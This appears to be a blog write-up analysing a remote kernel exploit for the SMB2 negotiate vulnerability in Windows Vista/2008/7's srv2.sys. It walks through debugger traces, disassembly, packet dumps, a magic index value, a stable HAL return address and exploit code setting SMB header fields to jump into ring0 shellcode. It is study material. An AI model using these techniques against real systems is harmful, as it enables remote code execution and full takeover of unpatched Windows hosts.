What is SMB ?

from Wikipedia :  ”In computer networking, Server Message Block (SMB) operates as an application-layer network protocol mainly used to provide shared access to files, printers, serial ports, and miscellaneous communications between nodes on a network. It also provides an authenticated Inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows, where it is often known as ‘Microsoft Windows Network’ ” and smb2 , “Microsoft introduced a new version of the Server Message Block (SMB) protocol (SMB 2.0 or SMB2) with Windows Vista in 2006. SMB2 reduces the ‘chattiness’ of the protocol by reducing the number of commands and subcommands from over a hundred to just nineteen. It has mechanisms for pipelining, that is, sending additional requests before the response to a previous request arrives.” in Windows Vista/2008/7 , srv2.sys driver handle smb2 messages . there is vulnerability in that driver when it want to call a function from a function table.  lets dig into srv2.sys and finding vulnerability …

Start Point : The Vulnerability

lets start with vulnerability itself , as i said vulnerability occurred in when srv2.sys deriver want handle a specially corrupted  message . vulnerable codes are in Smb2ValidateProviderCallback() function . in Smb2ValidateProviderCallback(x)+4DE we have :

we can write it down in simple pseudo code like this :

[...]
 CallBackFunction = _ValidateRoutines[ NegotiatePacket->PidHight * 4 ];
 if ( CallBackFunction == NULL ){
 // some codes for recovering saved Security_Cookie
 // they add automatically by compiler in function epilogue
 // mov     ecx, [ebp+var_4] -> this is Cookie
 // pop     edi
 // pop     esi
 // xor     ecx, ebp -> recovering Cookie
 // pop     ebx
 // call __security_check_cookie(Saved_Security_Cookie) -> eating cookie 
 return ( 0xC0000002 );
 } else {
 return ( (*CallBackFunction)(Argument) );
 }
[...]

you find the vuln ? as you can see there is parameter  ”NegotiatePacket->PidHight”. this is a part of NEGOTIATE PROTOCOL REQUEST PACKET . we can control this field in our packet ,  so we can control “CallBackFunction” , and if we control “CallBackFunction” we control EIP !

Packet, Header and PID

before triggering the vulnerability  we need Packet bullet  .  SMB Packets are composed of three parts :

• Header
• Parameter Block
• Data Block

in above figure you can see SMB packet layout :

in syntax presentation Header is look like :

SMB_HEADER
  {
  PROTOCOL  = "\xffSMB"
  COMMAND   = <SMB Command code>
  STATUS    = <Status code>
  FLAGS     = <Old flags>
  FLAGS2    = <New flags>
  EXTRA     = <Sometimes used for additional data>
  TID       = <Tree ID>
  PID       = <Process ID>
  UID       = <User ID>
  MID       = <Multiplex ID>
[...]
}

The first four bytes are the protocol identifier string , which always are “\xffSMB”  ( \xfe in smb2 ). next filed is COMMAND filed. COMMAND filed is very key factor in smb messages and also in exploitation ( correct command lead us to vulnerable codes ) .as i mentioned before , for diving into vulnerable code wen need to send an NEGOTIATE PROTOCOL REQUEST PACKET . lets take look at NPR Packet :

NEGOTIATE_PROTOCOL_REQUEST
  {
  SMB_HEADER
    {
    PROTOCOL  = "\xffSMB"
    COMMAND   = SMB_COM_NEGOTIATE (0x72)
    STATUS
      {
      ErrorClass
      ErrorCode
      }
    FLAGS
    FLAGS2
    EXTRA
      {
      PidHigh
      Signature
      }
    TID
    PID
    UID
    MID
    }
 [...]

in normal manner PidHight call one of Fucntions which strored in _ValidateRoutines Function Pointer Table :

but we want to control execution fl0w , so by sending a specially crafted NRP Packet , we lead execution flow to desire place.but there is limitation . because we PidHight is a word type  , this means just 2 byte length.biggest number in word types is 0xFFFF , and so we can change EIP to [ _ValidateRoutines Address +  ( 0xFF * 4)  ] . there is many locations which we can land in , but where is a reliable place ? at all we need to jump to our packet to execute desire codes . lets start debugging :

kd> u 917ac745

srv2!Smb2ValidateProviderCallback+0x4e8:

917ac745 0fb7460c        movzx   eax,word ptr [esi+0Ch]

917ac749 8b048570227c91  mov     eax,dword ptr srv2!ValidateRoutines (917c2270)[eax*4]

917ac750 85c0            test    eax,eax

917ac752 7507            jne     srv2!Smb2ValidateProviderCallback+0x4fe (917ac75b)

917ac754 b8020000c0      mov     eax,0C0000002h

917ac759 eb03            jmp     srv2!Smb2ValidateProviderCallback+0x501 (917ac75e)

917ac75b 53              push    ebx

917ac75c ffd0            call    eax

kd> bl

 0 e 917ac745     0001 (0001) srv2!Smb2ValidateProviderCallback+0x4e8

 1 eu             0001 (0001) (l)

 2 e 917b7ea0     0001 (0001) srv2!SrvSnapShotScavengerTimer



kd> g

Breakpoint 0 hit

srv2!Smb2ValidateProviderCallback+0x4e8:

917ac745 0fb7460c        movzx   eax,word ptr [esi+0Ch]

i put a break point in vulnerable function  ( in srv2!Smb2ValidateProviderCallback+0×4e8 )  , then i run  Stephan’s Exploit .as you can see , ESI+0c point to PidHight , and ESI itself poit to our packet :

 kd> d esi

85317600  ff 53 4d 42 72 00 00 00-00 18 53 c8 17 02 00 e9  .SMBr.....S.....

85317610  58 01 00 00 00 00 00 00-00 00 00 00 00 00 c5 bb  X...............

85317620  00 20 02 02 04 0d df ff-04 0d df ff 04 0d df ff  . ..............

85317630  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317640  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317650  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317660  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317670  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

Stephen use  0×0217 as index for ValidateRoutines function table . but why ? i mentioned before , after all we need to jump to our packet for getting code execute and you know we just can control stack by jumping to pop/push instructions. now esp point to 091996d04 , this very far from our packet address ( 0×85317600 )  so poping items from stack is not good idea !  but how ESI got a pointer to our packet ? maybe it loaded from stack to ESI ?! lets search stack for Packet Pointers :

kd> s -d 0x91996d04 L?0x91996d04+50 0x85317600

91996d1c  85317600 8518b1a8 84eb7568 8713b808  .v1.....hu......

yow ,  i found one ! it located at 0x91996d1c . but wat we can do with this pointer ? jumping to 6 pop and then ret ? or add esp,18/ret ? can we find those instructions ? i think the answer is no ! but what we can do ? Stephen use 0×0217 as index,  now EAX point to SrvSnapShotScavengerTimer function. let see what have there :

little function . what is so important in this function ? if you look carefully you see RET 0×10 instruction at the end of function!   SrvSnapShotScavengerTimer function called with Stdcall calling convention , this means stack clean up is on Callee not Caller . now we have 4 argument ( 16 byte ) and so RET 10h clean argument up from stack. but why we do this ? lets take look at end of Smb2ValidateProviderCallback :

pop     edi

pop     esi

xor     ecx, ebp

pop     ebx

call    @__security_check_cookie@4 ; __security_check_cookie(x)

leave

retn    4

if you remember , our packet pointer was in esp+18 , so by ret 10h  our pointer move ( not really MOVE !!! ) to esp+4 ! look :

kd> dd esp

91996d18  84eb746c 85317600 8518b1a8 84eb7568

91996d28  8713b808 84eb7408 917c4fc4 00000000

91996d38  00e5448c 91996d50 917c4a77 8518b008

91996d48  86e9aee0 8518b008 91996d7c 917c319f

91996d58  8518b008 00000000 8713b808 00000000

91996d68  00000000 00000000 91996d80 00000001

91996d78  00000001 91996dc0 819eda1c 00000000

91996d88  7426f33a 00000000 00000000 00000000

so after we return from SrvSnapShotScavengerTimer and at the end of Smb2ValidateProviderCallback , EDI receive 084eb746c and after that , by pop esi , ESI will grab 0x85317600 ! but why we do this ? becuse we need esi as pointer to our controllable area . you will find out it further . now lets take lock at call stack , where we return after Smb2ValidateProviderCallback is srv2!SrvProcessPacket+0×4b :

EAX is zero  :

kd> r

eax=00000000 ebx=8515c778 ecx=91b8b96a edx=00000000 esi=85211bf8 edi=85217444

eip=91b8da77 esp=88561d48 ebp=88561d50 iopl=0         nv up ei pl zr na pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246

so we jump to loc_91E78A99 , result of comparing EAX  with 0×103 is jump to srv2!SrvProcessPacket+74 . in this basic block EAX compared with EDI and because EDI has non-zero value , we jump to  loc_91E78AA9 .after a few instructions , we land here :

ESI still point to our packet , because there wasn’t any instruction which change ESI value . after ESI pushed on the stack srv2!SrvProcCompleteRequest function called.this function is key for getting code execute ! a little cheat show you this key :

you found that :-”  . at the first of this function we have :

after some  repetitious instructions :

mov     esi, dword ptr [ebp+NewIrql]
cmp     byte ptr [esi+0C8h], 0
jnz     short loc_91E78AE7

NewIrql is 3rd  parameter from stack , you remember ? that was a push esi ! after that we have compare instruction . if esi+0c8 wasn’t zero we jump to loc_91E78AE7 . loc_91E78AE7 will direct us to fully controllable “call eax” .if  i don’t understand why Stephen doesn’t put zero at esi+0c8 and make his job harder by second call to srv2!SrvProcCompleteRequest to get “call eax” ,continue reading ,  i will show you his l33t magic . so as i said , esi+0c8 point to a zero value and then we are here :

again ESI pushed on the stack as function argument , so we have controllable area in SrvConsumeDataAndComplete function too .

there isn’t any important thing in SrvConsumeDataAndComplete , just if you look carefully will see we have our controllable after SrvConsumeDataAndComplete2 called , because of “mov eax, [ebp+NewIrql]”  and then ”push eax” instructions. there is second call to SrvProcCompleteRequest function  in SrvConsumeDataAndComplete2 .

but if we want this , we have to change execution flow to the basic block which call SrvProcCompleteRequest.red windows lead us to SrvProcCompleteRequest call .

lets  see SrvConsumeDataAndComplete2 :

after function prologue ,  we have “cmp dword ptr [esi+150h],ebx” , ESI+150 point to 0×41414141 . so jz never jump to loc_91E796B5 . in “mov eax, [esi+14Ch]” , 0×3FFFFFB4 load in EAX ( this is Stephen Magic Index ). after that becuse EAX is not zero ( cmp eax, 0FFFFFFFFh ) , we jump to red line pointed block.i this block we have to interesting instructions :

mov     ebx, [esi+128h]

mov     edi, [esi+12Ch]

both esi+128 and esi+12c of our packet point to 0xFFFFFFFF . this values will further use in sbb instruction :

 sbb     ebx, edi

mov     [ebp+var_4], ebx

js      short loc_91E79683

now , because both ebx and edi are unsigned and subtract result too, Sign Flag  will be zero and js instruction direct us to red line pointed of below figure :

jg instruction execute if ZF = 0 and SF=OF . if look at Flag registers you see ZF = SF = OF = 0 , so jg execute and we jump to loc_91E79668 .after Xor we rech to loc_91E7966A block.  after first sub instruction in this block we have “mov ecx, [ebp+NewIrql]” . do you remeber Magic Index ? me put Magic Index in ebp+NewIrql , so now Magic Index load into ECX. after some instructions we jump short to loc_91E79685 block .in this block , Magic Index load into EAX . Magic Index is make the result of eax*4+130h , zero ! so “lea eax, [esi+eax*4+130h]” is equl to “lea eax, [esi+0]” . now eax point to our packet . after that we have “inc dword ptr [eax]” . THIS IS BIGGEST HAXOR EDIT THAT EVER I SEE ! if look carefully at smb packet Header you see something like “424d53ff” . this hex numbers assembel to “CALL DWORD PTR SS:[EBP+ECX*2+42]” but by Stephan’s l33t magic , inc [eax] make smb header like “424d5400″ and  this assemble to ”add byte ptr [ebp+ecx*2+42h],dl” . after that controllable “CALL EAX” we want to jump to our packet and if first instruction of packet assemble to “CALL DWORD PTR SS:[EBP+ECX*2+42]” we call unknown function and a nice AV !  but Stephen’s l33t magic makes things right . “or”  instruction is not so important and after that we jump to loc_91E79698 :

there isn’t any important thing in loc_91E79698 block , we skip this block and go to  loc_91E796B5 . here we  have little tricky address. look at this instructions :

mov     ecx, [esi+3Ch]

mov     eax, [ecx+18h]

esi+3c most point to a readble place , becuse at nex intruction ecx+18 read value from preview loaded address . Stephen take 0xffdf0d1c  . so 0xffdf0d1c load into ecx by first instruction and at second instruction ecx+18 = 0×0000000 , a zero readable place ! then we have “cmp eax, ebx” , eax is zero becuase of “mov eax, [ecx+18h]” instruction and ebx is also zero because of xor instruction in  loc_91E79668 block.so jge instruction execute and we jump to loc_91E7971F block :

we want jnz intruction direct us to red line pointet block , so we need both ecx and eax being zero ! so we most put zero at esi+0A0h and esi+9Ch . Stephen do thing right , after that instructions :

 kd> r

eax=00000000 ebx=00000000 ecx=00000000 edx=000017f3 esi=85211bf8 edi=ffffffff

eip=91b8e72b esp=88561cfc ebp=88561d10 iopl=0         nv up ei pl zr na pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246

srv2!SrvConsumeDataAndComplete2+0x11a:

91b8e72b 3bc8            cmp     ecx,eax

now we are here :

here is a another haxor edit ! i don’t know how Stephen found this great function !?! really really awesome work Stephen ! if you lock carefully at “mov byte ptr [esi+0C8h], 1″ instruction , you will remember a important CMP instruction . let me help you ! lets jump backward to SrvProcCompleteRequest function .  at firs of SrvProcCompleteRequest function we have :

cmp     byte ptr [esi+0C8h], 0

jnz     short loc_91E78AE7

if this compare lead us to loc_91E78AE7 block we can reach at  fully controllable EAX , so if esi+0c8 be zero we loos code execute . but with with “mov byte ptr [esi+0C8h], 1″ we can reach at desire place ! really awesome work and function selection ! now after that haxor Smb Header edit , we set esi+0C8h by one and  make code execution happen . lets go further in loc_91E79968 :

this is second call to SrvProcCompleteRequest . so lets go :

we are here after cmp instruction make”jnz short loc_91E78AE7″ happen . in loc_91E78AE7 block esi+0A8h most be Zero to let jz instruction execute.after jumping into loc_91E78B1D block , ebp+arg_8 compared with zero ! now ebp+arg_8 value is 0×00000001 .we make this also by l33t haxor edit , you remember that ? no ? read again carefully ! when we jump to loc_91E78C50 block , edi is zero becuse of xor intruction in loc_91E78AE7 block, so we need non-zero value in esi+30h.  if jz don’t execute , we jump here :

in first block we have no important thing , just some address most be readable  and it is better that esi+0E0h point to a Zero value ( this make way near ) . now because esi+0E0h point to zero we jump into loc_91E78B80 block . there nothing also . so we go to this block :

we are so close to the end of story . we put Return Address at esi+168h and then BOOOM!!! in the next block our fully controllable return address from Packet+ 0×168 will call ! Stephen do the l33t job here again . what is a reliable return address ? jumping directly to shellcode in our packet ? no this not the answer ! if do this and using hardcode address , our exploit maybe work just one time ! because ASRL,Reboot and many other thing cause addresses change ! Stephen find 0xFFD00D09 as Return address . this address is from Kernell HAL memory and there is no ASRL ! so this address is alway stable ! but this address point to what ? lets find out :

kd> p

srv2!SrvProcCompleteRequest+0xd2:

91b8db91 ffd0            call    eax

kd> u ffd00d09

ffd00d09 5e              pop     esi

ffd00d0a c3              ret

ffd00d0b 7c58            jl      ffd00d65

ffd00d0d 0fb75102        movzx   edx,word ptr [ecx+2]

ffd00d11 0fb77002        movzx   esi,word ptr [eax+2]

ffd00d15 663bd6          cmp     dx,si

ffd00d18 7fed            jg      ffd00d07

ffd00d1a 7c49            jl      ffd00d65

“pop esi,ret ” ? yes . lets look at stack :

kd> p

Breakpoint 6 hit

ffd00d09 5e              pop     esi

kd> p

ffd00d0a c3              ret

kd> dd esp

88561cd0  85211bf8 ffffffff 00000000 85211bf8

88561ce0  00000000 00000000 88561d10 91b8e96f

88561cf0  85211bf8 00000000 00000001 85217444

88561d00  85211bf8 8515c778 ffdf0d04 000008a4

88561d10  88561d1c 91b8e997 3fffffb4 88561d34

88561d20  91b8dae2 85211bf8 85211bf8 91b8b901

88561d30  91b8b901 88561d50 91b8dab4 85211bf8

88561d40  00000000 91b8b901 8711bac0 8515c5d8

Yes , this is pointer to our packet ! we jump back to our packet , look at esi before this pop occurred :

 kd> dd esi

85211bf8  424d5400 00000072 c8531800 e9000217

85211c08  00000158 00000000 00000000 69890000

85211c18  02022000 ffdf0d04 ffdf0d04 ffdf0d04

85211c28  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04

85211c38  00000000 00000000 91b71c1f 85211bf8

85211c48  91b7157a 00000000 ffdf0d04 ffdf0d04

85211c58  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04

85211c68  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04

very nice jump ! lets execute shellcode :

kd> bp 85211bf8

kd> u 85211bf8

85211bf8 00544d42        add     byte ptr [ebp+ecx*2+42h],dl

85211bfc 7200            jb      85211bfe

85211bfe 0000            add     byte ptr [eax],al

85211c00 0018            add     byte ptr [eax],bl

85211c02 53              push    ebx

85211c03 c8170200        enter   217h,0

85211c07 e958010000      jmp     85211d64

85211c0c 0000            add     byte ptr [eax],al

“jmp 85211d64″ instruction is value of Signature1 field in packet , here is exploit code :

 packet['Payload']['SMB'].v['Flags1']        = 0x18

 packet['Payload']['SMB'].v['Flags2']        = 0xC853

 packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']

 packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.

 packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...

 packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )

now we jump directly to ring0 shellcode and after that rin3 shellcode . go :

 kd> g 
Break instruction exception - code 80000003 (first chance) SharedUserData+0x4af: 001b:7ffe04af cc              int     3

i use trap-debugger shellcode so int3 instruction is my ring3 shellcode and you can see it executed gracefully .  last note is you most put shellcode in the suitable offset from you packet , because there was some instructions that changed yor packet data and if shellcode located in those offsets …. . have nice exploitation – snake.